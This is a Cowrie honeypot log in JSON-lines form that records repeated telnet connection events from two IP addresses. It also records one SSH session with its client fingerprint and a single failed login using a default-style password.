{"eventid":"cowrie.session.closed","duration":31.288321256637573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:24.282519Z","src_ip":"103.249.100.206","session":"bea33fc9b01d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":57036,"dst_ip":"10.17.0.5","dst_port":23,"session":"861072dca27b","protocol":"telnet","message":"New connection: 103.249.100.206:57036 (10.17.0.5:23) [session: 861072dca27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:24.366157Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":35386,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6502f331bfb","protocol":"telnet","message":"New connection: 216.238.80.67:35386 (10.17.0.5:23) [session: f6502f331bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:24.371535Z"}
{"eventid":"cowrie.session.closed","duration":31.32029700279236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:24.744960Z","src_ip":"103.249.100.206","session":"252b2ac2db60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":58312,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bfbe6c46167","protocol":"telnet","message":"New connection: 103.249.100.206:58312 (10.17.0.5:23) [session: 1bfbe6c46167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:24.783412Z"}
{"eventid":"cowrie.session.closed","duration":120.0025544166565,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:25.200460Z","src_ip":"107.182.235.153","session":"8167ea6f99b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":36414,"dst_ip":"10.17.0.5","dst_port":23,"session":"61a84d185640","protocol":"telnet","message":"New connection: 216.238.80.67:36414 (10.17.0.5:23) [session: 61a84d185640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:25.495244Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":34152,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b5888392c59","protocol":"telnet","message":"New connection: 216.238.80.67:34152 (10.17.0.5:23) [session: 3b5888392c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:25.753150Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":60352,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1ff2b550f91","protocol":"telnet","message":"New connection: 103.249.100.206:60352 (10.17.0.5:23) [session: e1ff2b550f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:26.274525Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":32968,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dd4ac87b1a3","protocol":"telnet","message":"New connection: 103.249.100.206:32968 (10.17.0.5:23) [session: 3dd4ac87b1a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:26.987994Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":33770,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7b15dc4814b","protocol":"telnet","message":"New connection: 103.249.100.206:33770 (10.17.0.5:23) [session: c7b15dc4814b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:27.775210Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":37934,"dst_ip":"10.17.0.5","dst_port":23,"session":"b20ce7324b63","protocol":"telnet","message":"New connection: 216.238.80.67:37934 (10.17.0.5:23) [session: b20ce7324b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:27.781855Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":38290,"dst_ip":"10.17.0.5","dst_port":23,"session":"86c705976a2b","protocol":"telnet","message":"New connection: 216.238.80.67:38290 (10.17.0.5:23) [session: 86c705976a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:28.361012Z"}
{"eventid":"cowrie.session.closed","duration":30.908628225326538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:28.779697Z","src_ip":"103.249.100.206","session":"7a18ba950641","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":34938,"dst_ip":"10.17.0.5","dst_port":23,"session":"421d4007a604","protocol":"telnet","message":"New connection: 103.249.100.206:34938 (10.17.0.5:23) [session: 421d4007a604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:28.854285Z"}
{"eventid":"cowrie.session.closed","duration":31.21116065979004,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:28.862152Z","src_ip":"103.249.100.206","session":"e62b6e6b1281","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.505868673324585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:29.011212Z","src_ip":"216.238.80.67","session":"8ef2c02e0bf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":35344,"dst_ip":"10.17.0.5","dst_port":23,"session":"c45cea521e2e","protocol":"telnet","message":"New connection: 103.249.100.206:35344 (10.17.0.5:23) [session: c45cea521e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:29.193728Z"}
{"eventid":"cowrie.session.closed","duration":30.969987630844116,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:29.377764Z","src_ip":"103.249.100.206","session":"ab31b4f2e180","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":36584,"dst_ip":"10.17.0.5","dst_port":23,"session":"a98d78981a96","protocol":"telnet","message":"New connection: 103.249.100.206:36584 (10.17.0.5:23) [session: a98d78981a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:30.305322Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":40210,"dst_ip":"10.17.0.5","dst_port":23,"session":"b774b98300f3","protocol":"telnet","message":"New connection: 216.238.80.67:40210 (10.17.0.5:23) [session: b774b98300f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:30.963406Z"}
{"eventid":"cowrie.session.closed","duration":30.156023025512695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:31.062435Z","src_ip":"216.238.80.67","session":"ad5ce9385f1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":37506,"dst_ip":"10.17.0.5","dst_port":23,"session":"60e2b4fe8baf","protocol":"telnet","message":"New connection: 103.249.100.206:37506 (10.17.0.5:23) [session: 60e2b4fe8baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:31.193353Z"}
{"eventid":"cowrie.session.closed","duration":30.834097385406494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:32.096190Z","src_ip":"216.238.80.67","session":"9ea3b03aa911","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":41246,"dst_ip":"10.17.0.5","dst_port":23,"session":"de899a0962d5","protocol":"telnet","message":"New connection: 216.238.80.67:41246 (10.17.0.5:23) [session: de899a0962d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:32.306150Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":40900,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e3b7f3db07d","protocol":"telnet","message":"New connection: 216.238.80.67:40900 (10.17.0.5:23) [session: 4e3b7f3db07d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:32.848463Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":38860,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a37c066e3f3","protocol":"telnet","message":"New connection: 103.249.100.206:38860 (10.17.0.5:23) [session: 4a37c066e3f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:32.891170Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":39482,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ad9c037f573","protocol":"telnet","message":"New connection: 103.249.100.206:39482 (10.17.0.5:23) [session: 9ad9c037f573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:33.382833Z"}
{"eventid":"cowrie.session.closed","duration":30.523999214172363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:34.051319Z","src_ip":"216.238.80.67","session":"f924a3d4641e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.325127840042114,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:34.305980Z","src_ip":"216.238.80.67","session":"6ade6deb08d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":42894,"dst_ip":"10.17.0.5","dst_port":23,"session":"81a4c634f290","protocol":"telnet","message":"New connection: 216.238.80.67:42894 (10.17.0.5:23) [session: 81a4c634f290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:34.321457Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":39386,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf52fd1019ba","protocol":"telnet","message":"New connection: 103.249.100.206:39386 (10.17.0.5:23) [session: bf52fd1019ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:34.337342Z"}
{"eventid":"cowrie.session.closed","duration":30.97929048538208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:34.375711Z","src_ip":"103.249.100.206","session":"6f40cd50edd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":40598,"dst_ip":"10.17.0.5","dst_port":23,"session":"be09d2f300cd","protocol":"telnet","message":"New connection: 103.249.100.206:40598 (10.17.0.5:23) [session: be09d2f300cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:34.726367Z"}
{"eventid":"cowrie.session.closed","duration":31.74384307861328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:34.935436Z","src_ip":"103.249.100.206","session":"b29a7b80dabf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":40990,"dst_ip":"10.17.0.5","dst_port":23,"session":"838dc8a5d62d","protocol":"telnet","message":"New connection: 103.249.100.206:40990 (10.17.0.5:23) [session: 838dc8a5d62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:35.123693Z"}
{"eventid":"cowrie.session.closed","duration":30.973509550094604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:35.170444Z","src_ip":"103.249.100.206","session":"916d0c8cf8d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.649290323257446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:35.174269Z","src_ip":"216.238.80.67","session":"098bc4911172","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":40210,"dst_ip":"10.17.0.5","dst_port":23,"session":"158df81c2491","protocol":"telnet","message":"New connection: 103.249.100.206:40210 (10.17.0.5:23) [session: 158df81c2491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:35.282073Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":34406,"dst_ip":"10.17.0.5","dst_port":23,"session":"dda096de57ac","protocol":"telnet","message":"New connection: 103.249.100.206:34406 (10.17.0.5:23) [session: dda096de57ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:35.535861Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":44544,"dst_ip":"10.17.0.5","dst_port":23,"session":"6da41a9ae42f","protocol":"telnet","message":"New connection: 216.238.80.67:44544 (10.17.0.5:23) [session: 6da41a9ae42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:36.270516Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":44578,"dst_ip":"10.17.0.5","dst_port":23,"session":"a845eaa6b187","protocol":"telnet","message":"New connection: 216.238.80.67:44578 (10.17.0.5:23) [session: a845eaa6b187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:36.309279Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":44772,"dst_ip":"10.17.0.5","dst_port":23,"session":"bee8264ac84a","protocol":"telnet","message":"New connection: 216.238.80.67:44772 (10.17.0.5:23) [session: bee8264ac84a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:36.540192Z"}
{"eventid":"cowrie.session.closed","duration":31.514094591140747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:36.580034Z","src_ip":"103.249.100.206","session":"76cdd276ceb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.451568841934204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:37.088871Z","src_ip":"103.249.100.206","session":"e40fdc7c85fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":42816,"dst_ip":"10.17.0.5","dst_port":23,"session":"1191ce34c458","protocol":"telnet","message":"New connection: 103.249.100.206:42816 (10.17.0.5:23) [session: 1191ce34c458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:37.116134Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":44462,"dst_ip":"10.17.0.5","dst_port":23,"session":"89eb86c937df","protocol":"telnet","message":"New connection: 216.238.80.67:44462 (10.17.0.5:23) [session: 89eb86c937df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:37.151403Z"}
{"eventid":"cowrie.session.closed","duration":30.987898349761963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:37.773713Z","src_ip":"103.249.100.206","session":"d68fe68bfcca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":43524,"dst_ip":"10.17.0.5","dst_port":23,"session":"861e21519c24","protocol":"telnet","message":"New connection: 103.249.100.206:43524 (10.17.0.5:23) [session: 861e21519c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:37.841177Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":43714,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7cd94f83d75","protocol":"telnet","message":"New connection: 103.249.100.206:43714 (10.17.0.5:23) [session: d7cd94f83d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:37.997809Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":43884,"dst_ip":"10.17.0.5","dst_port":23,"session":"d34d63355974","protocol":"telnet","message":"New connection: 103.249.100.206:43884 (10.17.0.5:23) [session: d34d63355974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:38.128082Z"}
{"eventid":"cowrie.session.closed","duration":31.224503755569458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:38.219095Z","src_ip":"216.238.80.67","session":"7e1bade91e0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.056893825531006,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:38.960227Z","src_ip":"103.249.100.206","session":"c8367b542570","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":46632,"dst_ip":"10.17.0.5","dst_port":23,"session":"10dbc16d5c86","protocol":"telnet","message":"New connection: 216.238.80.67:46632 (10.17.0.5:23) [session: 10dbc16d5c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:39.203138Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":46724,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c91b0f32d0d","protocol":"telnet","message":"New connection: 216.238.80.67:46724 (10.17.0.5:23) [session: 0c91b0f32d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:39.295020Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":45118,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1c62b539ed8","protocol":"telnet","message":"New connection: 103.249.100.206:45118 (10.17.0.5:23) [session: d1c62b539ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:39.339402Z"}
{"eventid":"cowrie.session.closed","duration":31.28326392173767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:40.038084Z","src_ip":"216.238.80.67","session":"bc9dfd177088","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":46070,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2437d4b4812","protocol":"telnet","message":"New connection: 103.249.100.206:46070 (10.17.0.5:23) [session: d2437d4b4812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:40.275159Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":46782,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb752bf12b14","protocol":"telnet","message":"New connection: 216.238.80.67:46782 (10.17.0.5:23) [session: bb752bf12b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:40.351265Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":46382,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f658895a9ae","protocol":"telnet","message":"New connection: 103.249.100.206:46382 (10.17.0.5:23) [session: 3f658895a9ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:40.539187Z"}
{"eventid":"cowrie.session.closed","duration":30.71858859062195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:40.557806Z","src_ip":"103.249.100.206","session":"dbfe4f54992b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.004738569259644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:40.835864Z","src_ip":"103.249.100.206","session":"b90d9043aa5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":48324,"dst_ip":"10.17.0.5","dst_port":23,"session":"893505796e61","protocol":"telnet","message":"New connection: 216.238.80.67:48324 (10.17.0.5:23) [session: 893505796e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:41.316366Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":46920,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4df85cb3f70","protocol":"telnet","message":"New connection: 103.249.100.206:46920 (10.17.0.5:23) [session: b4df85cb3f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:42.220461Z"}
{"eventid":"cowrie.session.closed","duration":30.8214373588562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:42.238307Z","src_ip":"103.249.100.206","session":"8c7b5b245647","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30025053024292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:42.536353Z","src_ip":"216.238.80.67","session":"52d4171191a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.537612438201904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:42.681272Z","src_ip":"216.238.80.67","session":"1f6a14f07c2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":42030,"dst_ip":"10.17.0.5","dst_port":22,"session":"710cd89367bc","protocol":"ssh","message":"New connection: 2.57.122.238:42030 (10.17.0.5:22) [session: 710cd89367bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:42.812554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:42.818714Z","src_ip":"2.57.122.238","session":"710cd89367bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.664643049240112,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:42.827502Z","src_ip":"216.238.80.67","session":"fa5de6c51deb","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:42.922649Z","src_ip":"2.57.122.238","session":"710cd89367bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":45534,"dst_ip":"10.17.0.5","dst_port":23,"session":"5804137a50f6","protocol":"telnet","message":"New connection: 103.249.100.206:45534 (10.17.0.5:23) [session: 5804137a50f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:42.945489Z"}
{"eventid":"cowrie.session.closed","duration":32.053354263305664,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:43.003745Z","src_ip":"103.249.100.206","session":"e1c076ce3898","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":49458,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c43a28afa73","protocol":"telnet","message":"New connection: 216.238.80.67:49458 (10.17.0.5:23) [session: 0c43a28afa73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:43.050305Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:43.235173Z","src_ip":"2.57.122.238","session":"710cd89367bc","protocol":"ssh"}
